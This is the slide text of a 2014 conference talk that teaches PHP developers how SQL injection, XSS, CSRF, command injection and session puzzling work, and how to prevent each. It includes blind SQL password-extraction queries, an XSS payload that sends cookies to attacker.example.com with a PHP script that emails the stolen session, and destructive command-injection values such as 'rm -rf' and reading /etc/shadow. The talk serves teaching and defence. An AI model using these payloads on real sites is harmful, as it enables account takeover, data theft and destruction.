How common exploits are used to take over a website, how to identify those vulnerabilities in your own code and prevent your site from being compromised. The bad guys know all the techniques, but it doesn't mean we should make it any easier to take over sites. Preventing some vulnerabilities is done by keeping these issues in mind as you're developing your code.

1. Hacking Sites for Fun and
Profit
SkiPHP 2014
David Stockton

2. or How to Hack
Websites and Prevent
Your Site from Being
Hacked

3. or How I Learned to Stop Worrying
and Love the
SQL Injection
Web

4. What this is for
•
Learn how common exploits are
done and how to identify code
that is vulnerable
•
Learn how to fix code that is
susceptible to these attacks
•
Learn how to attack your own
code and your own sites so you
can fix them

5. What this is not for
•
Hacking or attacking sites
that you do not have
permission to attack
!
•
Don’t do it.

6. The Code
•
The code I am showing you is
similar to real code I’ve seen in
real projects, but it was written
specifically for this presentation.

7. Exploit 1:
•
SQL injection
!
•
select * from users where
username =
'$_POST['username']';

8. SQL Injection
•
$_POST['username'] = “' OR 1=1; --;”;
!
!
•
select * from users where username =
'' OR 1=1; --;';

9. SQL Injection
•
$_GET
•
$_POST
•
$_REQUEST
!
•
what else...

10. SQL Injection
•
$_COOKIE
!
•
values from the database
!
•
Some parts of $_SERVER

11. Errors can help attackers
•
Showing SQL errors can help attackers fix SQL injection
attempts
!
•
Other errors can help in other ways (some show
passwords)
!
•
Turn off display_errors in production, but log errors
always

12. Blind SQL injection
•
Make calls that take
varying amounts of time to
run. Use the time to
determine the answers to
questions about the
systems you are attacking.

13. Blind SQL injection
•
http://news.org/news.php?id=5
•
http://news.org/news.php?id=5 and 1=1
•
http://news.org/news.php?id=5 and 1=2

14. Determine DB version
•
news.php?id=5 and
substring(@@version,
1,1)=5

15. Subselects?
•
news.php?id=5 and
(select 1) = 1

16. Access to other databases/
tables
•
news.php?id=12 and
(select 1 from mysql.user
limit 0,1) = 1

17. Guessing tables
•
news.php?id=6 and
(select 1 from users
limit 0,1) =1

18. Guessing column names
•
news.php?id=11 and (select
substring(concat(1, password),1,1) from
users limit 0,1)=1

19. Guessing data
•
news.php?id=4 and
ascii(substring((SELECT concat(username,
0x3a, password) from users limit 0,1),
1,1))>80
!
•
Increment to guess values letter by letter

20. Preventing SQL Injection
●
mysql_real_escape_string
●
Prepared statements
●
Input validation and whitelists

21. Exploit 2:
•
XSS
!
•
Cross-site Scripting

22. What is it?
•
User supplied
code running in
the browser

23. So? It’s their browser
•
Yep, but it may not
be their code.

24. So? It’s their browser
•
It may not be your
code, but it might
call your code in a
way you don’t want

25. XSS Code
<img src=”<?php echo $_POST[‘image’];?>”>
<.. javascript to open the print dialog ..>

26. So what?
•
What if we post code into
$_POST[‘image’]
!
●
Steal session cookies
●
Call Javascript APIs to causes actions
on the server (CSRF)
●
Post forms as the user

27. The payload:
$_POST[‘image’]
/images/add.gif"><script type="text/
javascript">alert('xss!');</script><img
src="

28. Ermahgerd er perperp.

29. Ooh, that’s soooo malicious,
I’m totally shaking right now
•
Fine. How about this.
!
!
•
image = /images/add.gif"><script type="text/
javascript">document.write('<img src="http://
attacker.example.com/session.php?' +
document.cookie + '">'); </script><img src="

30. WTH did that do?
•
Javascript ran FROM the site
we’re attacking and it sent
your site cookies to a script
the attacker controls.

31. So you stole my cookie. So
what?
•
Here’s what.
<?php
$session = $_GET['PHPSESSID'];
$body = 'Got session: ' . $session;
mail('attackeremail@attacker.example.org',
'Session Captured', $body);

32. Oooh, you emailed my
cookie... So...

33. Now it’s my turn...

34. Why this matters
•
Sites identify and authenticate
users with session.
•
I have identified myself as you. I
am now logged in as you and
can do anything you can do on
the site.

35. Ok, so I can steal my own
session
•
Here’s how to use
it against someone.

36. The first part of the attack
•
Create an email to a link on the
attacking site that posts the code to the
site under attack. Send the email to the
victim.
!
•
They click the link, you steal their
session.

37. What else can I do?
•
Cross Site Request Forgery (CSRF)
•
Causing actions to happen on the user’s
behalf
•
Purchasing things, changing passwords,
creating accounts, etc.

38. How to prevent?
•
Escape output
•
Whitelist URLs, domains, input
•
Make the print page lookup and use image
paths from a trusted source (database
maybe?)

39. Prevent CSRF
•
Use a CSRF token.
•
Disallow requests
that don’t contain the
correct token.

40. Exploit prevention in
general
•
Filter input
•
Escape output
•
This works for SQL injection, XSS and
more...
•
in general

41. Exploit 3: Command
injection
●
shell_exec
●
exec
●
passthru
●
system
●
`some command`

42. PHP Web File Browser
•
Supposed to allow viewing of files within
the web directories
•
$files = shell_exec(‘ls -al ’ .
$_GET[‘dir’]);

43. What’s the danger?
•
$_GET[‘dir’] = ‘.; rm -rf / *’;
•
Or whatever.
•
cat /etc/passwd; cat /etc/shadow

44. How to prevent?
•
If you must use user input in a command,
use escapeshellarg()
•
$dir = escapeshellarg($_GET[‘dir’]);
•
$files = shell_exec(‘ls -al ‘ . $dir);
•
Validate that the input is allowed

45. Other types of injection
●
Code (eval)
●
Regex
●
Log
●
LDAP

46. Other exploits
●
Authentication / Session management
●
Information disclosure
●
Sensitive data exposure
●
File upload flaws
●
Unchecked redirects
●
Leftover debug code
●
Session fixation
●
Internal threats
●
Privacy Violation (password in logs,
etc)

47. Mitigation
•
Validation on the client
•
Reject invalid requests entirely, log
intrusion attempt
•
Principle of least privilege
•
Filter input, escape output

48. One more exploit
•
Session puzzling attack
•
http://bit.ly/1eO7jPK

49. Session Puzzling
•
Making requests to privileged and
unprivileged pages in a particular order
that can escalate privileges of the attacker

50. How it could work
•
Page requiring authentication looks for
‘user’ in session to determine
authentication

51. Session Puzzling
•
Login -> forgot password page sends
information via ‘user’ in session

52. Put it together
•
Hit pages quickly in this order:
•
Login -> forgot password / privileged page
•
Privileged page sees ‘user’ and allows
attacker in

53. How was this found?
•
By accident, via web crawler getting
access to privileged pages

54. Questions?
•
Please rate this talk.
•
https://joind.in/10446